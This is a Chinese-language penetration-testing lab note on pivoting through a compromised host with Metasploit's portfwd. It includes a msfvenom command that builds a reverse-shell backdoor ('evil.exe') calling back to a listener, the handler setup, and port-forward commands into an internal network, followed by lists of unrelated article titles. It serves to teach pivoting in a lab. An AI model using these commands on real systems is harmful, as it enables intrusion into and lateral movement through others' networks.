跳板攻击之:MSF portfwd 端口转发与端口映射

郑重声明:

本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 portfwd 介绍

  • portfwd 是借用 meterpreter shell 建立的连接进行数据传输,达到端口转发的目的。
  • 当建立反向连接时,可以绕过防火墙的检测。
meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS:
-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
-R Indicates a reverse port forward.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt> Forward: remote host to connect to.

2 实验环境

2.1 建立 meterpreter 反向连接

  1. 生成 Metaspolit 后门程序

    msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -f exe > /var/www/html/evil.exe
  2. kali 配置监听 meterpreter 反向连接

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.0.2
    run
  3. WEB Server 下载 Metaspolit 后门程序,并打开程序

  4. meterpreter 反向连接建立成功

2.2 portfwd 端口转发

  1. 配置 portwd 端口转发

    meterpreter > portfwd add -L 192.168.0.2 -l 18080 -p 80 -r 192.168.100.151
  2. 使用 portwd list 查看是否建立端口转发连接

  3. 验证:

2.3 portfwd 端口映射

  1. 配置 portwd 端口转发

    meterpreter > portfwd add -l 12323 -p 23 -r 192.168.100.151
  2. 使用 portwd list 查看是否建立端口映射连接

  3. 验证:

    ┌──(kali㉿kali)-[~]
    └─$ ssh -p 12323 root@127.0.0.1

最新文章

  1. 安装vsphere5.1
  2. ML-分类与逻辑回归
  3. SpringIOC&amp;AOP
  4. 时间日期设置--ctime头文件
  5. kendo ui中grid页面参数问题
  6. Android进程间通信(IPC)机制Binder简要介绍和学习计划
  7. js检测是否手机浏览的函数
  8. 201521123042 《Java程序设计》第6周学习总结
  9. 基于PDO的简易ORM
  10. TCP那些事儿(上)
  11. GIT 生成公钥
  12. 如何备份和恢复你的TFS服务器(二)
  13. ZOJ 3785 What day is that day?(数论:费马小定理)
  14. nginx域名访问的白名单配置梳理
  15. Windows上搭建Flume运行环境
  16. maven的安装以及问题
  17. Dynamic Lotusscript
  18. spring浏览器国际化的原理
  19. hdu 4336 Card Collector——最值反演
  20. FB05付款清帐Function

热门文章

  1. hook 无限debugger(猿人学第十四题)
  2. 猿人学web爬虫攻防大战
  3. mysql下载及环境配置
  4. sha1_b64_scrape
  5. ArcObjects SDK开发 021 开发框架搭建-FrameWork包设计
  6. 【Azure 云服务】为Azure云服务配置上自签名的SSL证书步骤
  7. 掌握webpack(一)一张图让你明白webpack中output的filename、path、publicPath与主流插件的关系
  8. Java时间加减操作
  9. Maven项目中导入坐标依赖时报(Failure to transfer....)的错的问题
  10. 轻松解决 CSS 代码都在一行的问题